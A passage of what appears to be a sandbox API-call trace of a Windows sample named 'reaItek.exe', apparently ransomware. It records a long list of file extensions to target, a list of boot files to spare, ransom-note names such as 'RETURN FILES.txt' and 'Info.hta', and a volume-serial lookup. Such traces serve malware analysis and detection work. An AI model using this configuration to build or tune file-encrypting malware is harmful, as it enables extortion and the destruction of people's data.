(lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0094.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0094.465] lstrlenW (lpString="") returned 0 [0094.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62aba0 | out: hHeap=0x5c0000) returned 1 [0094.465] lstrlenW (lpString=".BSC") returned 4 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603260, Size=0x8) returned 0x6033e0 [0094.465] lstrlenW (lpString=".BSC") returned 4 [0094.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62ac18 | out: hHeap=0x5c0000) returned 1 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ab10, Size=0x20) returned 0x5fec50 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fec50, Size=0x40) returned 0x5da1e0 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da1e0, Size=0x80) returned 0x6042f8 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603260, Size=0x8) returned 0x603530 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603530, Size=0x10) returned 0x62ab28 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ab28, Size=0x20) returned 0x5fe908 [0094.465] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0094.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6042f8 | out: hHeap=0x5c0000) returned 1 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62aac8, Size=0x20) returned 0x5fe868 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe868, Size=0x40) returned 0x5da1e0 [0094.465] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0094.465] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0094.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5da1e0 | out: hHeap=0x5c0000) returned 1 [0094.465] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62aaf8, Size=0x20) returned 0x5fea70 [0094.465] lstrlenW (lpString="Info.hta") returned 8 [0094.465] lstrlenW (lpString="Info.hta") returned 8 [0094.465] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fea70 | out: hHeap=0x5c0000) returned 1 [0094.466] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x62af58, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\reaItek.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\reaitek.exe")) returned 0x23 [0094.466] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62af58 | out: hHeap=0x5c0000) returned 1 [0094.466] lstrlenW (lpString="reaItek.exe") returned 11 [0094.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe908, Size=0x40) returned 0x5da4b0 [0094.466] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ab28, Size=0x20) returned 0x5fe868 [0094.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62aa98, Size=0x20) returned 0x5fe8b8 [0094.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe8b8, Size=0x40) returned 0x5da1e0 [0094.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da1e0, Size=0x80) returned 0x604af0 [0094.467] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604af0, Size=0x100) returned 0x605fd0 [0094.467] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0094.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605fd0 | out: hHeap=0x5c0000) returned 1 [0094.467] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x62af58, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0094.467] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x63af60 | out: hHeap=0x5c0000) returned 1 [0094.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62af58 | out: hHeap=0x5c0000) returned 1 [0094.468] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603430, Size=0x8) returned 0x6034a0 [0094.468] lstrlenW (lpString="%windir%;") returned 9 [0094.468] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe868 | out: hHeap=0x5c0000) returned 1 [0094.469] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0094.469] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x618728 | out: hHeap=0x5c0000) returned 1 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ac18 [0094.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ac18, Size=0x20) returned 0x5fe9a8 [0094.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe9a8, Size=0x40) returned 0x5da300 [0094.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da300, Size=0x80) returned 0x604c88 [0094.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604c88, Size=0x100) returned 0x605fd0 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x34) returned 0x5d9558 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6033f0 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603380 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6033c0 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ac90 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6034b0 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62abd0 [0094.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6034b0, Size=0x8) returned 0x603480 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62aa98 [0094.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603480, Size=0x10) returned 0x62aac8 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62aaf8 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ad68 [0094.469] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62aac8, Size=0x20) returned 0x5fe9f8 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ac18 [0094.469] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ac48 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6033f0, Size=0x8) returned 0x603500 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603380, Size=0x8) returned 0x6033d0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6033f0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ac60 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6033b0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ac78 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6033b0, Size=0x8) returned 0x6034b0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62aca8 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6034b0, Size=0x10) returned 0x62acc0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62acd8 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6033a0 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62acc0, Size=0x20) returned 0x5fec28 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603500, Size=0x10) returned 0x62acc0 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6033d0, Size=0x10) returned 0x62aac8 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6033b0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ad20 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6033d0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ad38 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6033d0, Size=0x8) returned 0x603400 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6033d0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ad50 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603510 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ab10 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603510, Size=0x8) returned 0x603410 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62acc0, Size=0x20) returned 0x5fec50 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62aac8, Size=0x20) returned 0x5fe8b8 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6034d0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62acc0 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603380 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62aac8 [0094.470] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603380, Size=0x8) returned 0x603420 [0094.470] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d5830 [0094.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x14) returned 0x5d5870 [0094.471] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0094.471] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605fd0 | out: hHeap=0x5c0000) returned 1 [0094.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x604e20 [0094.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603430 [0094.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ab28 [0094.471] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ab28, Size=0x20) returned 0x5fec78 [0094.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5dc110 [0094.471] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x617720 [0094.471] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x617720, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0094.471] lstrlenW (lpString="C:\\") returned 3 [0094.471] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.472] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x28) returned 0x5d6108 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ab28 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6034b0 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x14) returned 0x5d54f0 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ad98 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x604a68 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ae58 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x82) returned 0x605fd0 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62af00 [0094.472] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603530 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62af18 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x604f30 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62af30 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2) returned 0x603440 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6034c0 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ae10 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x604b78 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62adb0 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603450 [0094.473] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603440, Size=0x82) returned 0x606060 [0094.473] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603450, Size=0x100) returned 0x6060f0 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62adc8 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x82) returned 0x6061f8 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ad80 [0094.473] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x82) returned 0x606288 [0094.473] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x606060, Size=0x104) returned 0x606318 [0094.473] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6060f0, Size=0x200) returned 0x617720 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6034c0 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62adb0 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604f30 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62af18 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604b78 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62ae10 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606318 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62af30 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6061f8 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62adc8 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x606288 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62ad80 | out: hHeap=0x5c0000) returned 1 [0094.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x603460 [0094.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ae40 [0094.475] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ae40, Size=0x20) returned 0x5fe980 [0094.475] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe980, Size=0x40) returned 0x5da078 [0094.475] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62af18 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6034b0 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62ab28 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x605fd0 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62ae58 | out: hHeap=0x5c0000) returned 1 [0094.475] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604a68 | out: hHeap=0x5c0000) returned 1 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62ad98 | out: hHeap=0x5c0000) returned 1 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x603530 | out: hHeap=0x5c0000) returned 1 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62af00 | out: hHeap=0x5c0000) returned 1 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6108 | out: hHeap=0x5c0000) returned 1 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d54f0 | out: hHeap=0x5c0000) returned 1 [0094.476] lstrlenW (lpString="%systemdrive%") returned 13 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x604e20 | out: hHeap=0x5c0000) returned 1 [0094.476] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x603430 | out: hHeap=0x5c0000) returned 1 [0094.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2c) returned 0x5dd028 [0094.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x2000) returned 0x617720 [0094.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x607700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0094.476] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10014) returned 0x62af58 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62ae88 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ae88, Size=0x20) returned 0x5febb0 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5febb0, Size=0x40) returned 0x5da4f8 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da4f8, Size=0x80) returned 0x6049e0 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6049e0, Size=0x100) returned 0x605fd0 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x200) returned 0x605fd0 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x400) returned 0x605fd0 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x800) returned 0x619728 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x619728, Size=0x1000) returned 0x619728 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x63af78 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x62adf8 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ae40 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x6034c0 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x62ad80 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603430 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62aee8 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6034c0, Size=0x8) returned 0x603530 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62aea0 [0094.477] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603530, Size=0x10) returned 0x62ae10 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62af00 [0094.477] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ae58 [0094.478] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x62ae10, Size=0x20) returned 0x5fec78 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62adc8 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603440 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62ade0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62ae10 [0094.478] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fec78, Size=0x40) returned 0x5da738 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62aed0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62ae28 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62ae70 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x62af30 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62aeb8 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62adb0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603490 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ad98 [0094.478] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da738, Size=0x80) returned 0x6045a0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ae88 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x62ab28 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bcb0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bc68 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bea8 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64bcc8 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bc80 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603450 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64be60 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bdd0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64bbc0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bc98 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x64bc08 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x64bbf0 [0094.478] RtlAllocateHeap (HeapHandle=0x5c0000, 